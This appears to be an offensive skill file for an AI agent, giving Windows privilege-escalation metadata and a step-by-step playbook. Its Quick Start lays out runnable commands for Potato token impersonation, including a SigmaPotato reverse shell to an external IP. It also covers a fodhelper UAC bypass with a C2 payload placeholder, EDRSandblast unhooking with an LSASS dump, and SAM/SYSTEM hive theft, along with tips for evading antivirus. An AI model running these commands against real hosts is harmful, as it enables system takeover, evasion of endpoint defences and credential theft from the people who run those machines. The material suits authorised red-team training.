version: "1.0.1" name: privesc-windows description: Use when escalating privileges on a Windows host — SeImpersonate Potato chains (GodPotato/PrintNotifyPotato), service & DLL hijacking, UAC bypass (fodhelper/ICMLuaUtil), kernel EoP + BYOVD (CVE-2025-29824), token-rights abuse, LSASS/SAM/DPAPI credential harvesting metadata: type: offensive phase: post-exploitation tools: winpeas, seatbelt, privesccheck, sharpup, godpotato, sigmapotato, printnotifypotato, fullpowers, edrsandblast, mimikatz, nanodump, pypykatz, impacket-secretsdump mitre: TA0004 kill_chain: phase: [exploit, actions] step: [4, 7] attck_tactics: [TA0004, TA0005, TA0006] attck_techniques: [T1134, T1134.001, T1134.002, T1543.003, T1574.001, T1574.009, T1574.010, T1548.002, T1068, T1211, T1003.001, T1003.002, T1555.004, T1053.005, T1547.001] depends_on: [network-attack, exploit-development] feeds_into: [red-team-ops, advanced-redteam, active-directory-attack, edr-evasion] inputs: [shell_access, os_fingerprint, service_account_context] outputs: [elevated_access, system_token, credential_dump, finding_record] references:

• references/enumeration-triage.md
• references/token-impersonation-potatoes.md
• references/service-dll-hijacking.md
• references/uac-bypass.md
• references/kernel-byovd.md
• references/credential-harvesting.md

scripts:

• scripts/win_privesc_triage.ps1
• scripts/check_potato.py
• scripts/service_hijack_audit.ps1
• scripts/uac_bypass.ps1
• scripts/byovd_loader.c

Windows Privilege Escalation

When to Activate

• Gained an initial shell / foothold on Windows and need to reach Administrator or NT AUTHORITY\SYSTEM
• Shell runs as a service account (IIS APPPOOL, MSSQL, Local/Network Service) holding SeImpersonatePrivilege
• Standard-user → admin via UAC bypass (medium → high integrity) on a local-admin-group member
• Service / DLL / scheduled-task misconfiguration hunting on the host
• Kernel EoP via an unpatched local CVE or Bring-Your-Own-Vulnerable-Driver (admin → kernel/PPL)
• Privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug)
• Local credential harvesting (LSASS, SAM/SYSTEM, DPAPI) to fuel lateral movement

Technique Map

Quick Start

# 0. Identity + token rights — this decides the whole strategy
whoami /priv /groups
powershell -ep bypass -File scripts/win_privesc_triage.ps1 -Quick
 
# 1. Full automated enumeration (pick the AV-safest)
.\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report pc_%COMPUTERNAME% -Format TXT,HTML
.\Seatbelt.exe -group=all -full        # build it yourself; do not trust prebuilt binaries
.\winPEASany_ofs.bat                    # .bat variant is less AV-flagged than the .exe
 
# 2a. Service-account shell with SeImpersonate* -> Potato to SYSTEM
python3 scripts/check_potato.py --priv "$(whoami /priv)"   # picks the right Potato for the host
.\GodPotato-NET4.exe -cmd "cmd /c whoami"                  # Server 2012-2022, no outbound
.\SigmaPotato.exe --revshell 10.10.14.5 443                # fileless .NET-reflection variant
# stripped token (Local/Network Service)? recover privileges first:
.\FullPowers.exe -c "C:\Windows\Tasks\GodPotato-NET4.exe -cmd cmd" -z
 
# 2b. No SeImpersonate -> hunt service/DLL/scheduled-task misconfig
powershell -ep bypass -File scripts/service_hijack_audit.ps1   # unquoted/weak-ACL/writable-bin/PATH
 
# 2c. Standard user in local-admin group, UAC on -> bypass to high integrity
powershell -ep bypass -File scripts/uac_bypass.ps1 -Method fodhelper -Payload "cmd.exe /c <c2>"
 
# 2d. Already admin -> kernel/PPL via BYOVD; then harvest creds
#     (verify driver is NOT on Microsoft blocklist for the build first)
.\EDRSandblast.exe --kernelmode dump_lsass --usermode unhook
 
# 3. Credentials (run from SYSTEM/admin) — see references/credential-harvesting.md for the PssCaptureSnapshot
#    / comsvcs MiniDump / nanodump tradecraft and OPSEC (parse the dump OFF-host).
pypykatz lsa minidump lsass.dmp                           # parse an acquired dump offline, off-host
reg save HKLM\SAM sam.bak & reg save HKLM\SYSTEM sys.bak  # impacket-secretsdump -sam sam.bak -system sys.bak LOCAL

OPSEC & Detection (summary)

Deep Dives

• references/enumeration-triage.md — Decision tree from whoami /priv + groups + integrity; winPEAS/Seatbelt/PrivescCheck/SharpUp usage and AV trade-offs; token-privilege classification table; FullPowers stripped-token recovery; autologon / stored-cred / GPP / scheduled-task XML enumeration.
• references/token-impersonation-potatoes.md — Token model (primary vs impersonation, levels), the full 2024-2026 Potato family (GodPotato, SigmaPotato, PrintNotifyPotato, DCOMPotato, EfsPotato, RoguePotato, PrintSpoofer, JuicyPotatoNG), per-OS selection, named-pipe + DuplicateTokenEx/CreateProcessWithTokenW primitives, detection.
• references/service-dll-hijacking.md — Unquoted service path (CWE-428), weak ACL / SERVICE_CHANGE_CONFIG / writable binary, DLL search order + KnownDLLs, phantom DLL hijack with real 2025 cases (CVE-2025-1729 Lenovo TPQM, CVE-2024-28827 Checkmk), DLL-proxy stub, scheduled-task abuse.
• references/uac-bypass.md — Auto-elevated binary model; fodhelper/computerdefaults/eventvwr/sdclt registry hijacks; ICMLuaUtil & IEditionUpgradeManager COM elevation (2024-2025 status); SilentCleanup env-var hijack; AlwaysInstallElevated MSI; reg-symlink evasion; LUA://HdAutoAp detection.
• references/kernel-byovd.md — 2025 kernel EoP CVEs (CLFS CVE-2025-29824 & CVE-2025-32701 in-the-wild, Win32k CVE-2025-24983, kernel race CVE-2025-62215); BYOVD theory + DSE/blocklist gap; LOLDrivers, EDRSandblast, GodFault/PPLFault driverless; MSR/LSTAR ring-0; privileged token-right abuse (SeBackup/SeRestore/SeTakeOwnership/SeLoadDriver/SeDebug).
• references/credential-harvesting.md — LSASS dumping (comsvcs LOLBin, PssCaptureSnapshot, handle-dup, nanodump, direct-syscall), PPL/RunAsPPL bypass, SAM/SYSTEM + VSS shadow copy, offline secretsdump/pypykatz, DPAPI masterkeys + domain backup key, browser/credential-vault secrets, detection per method.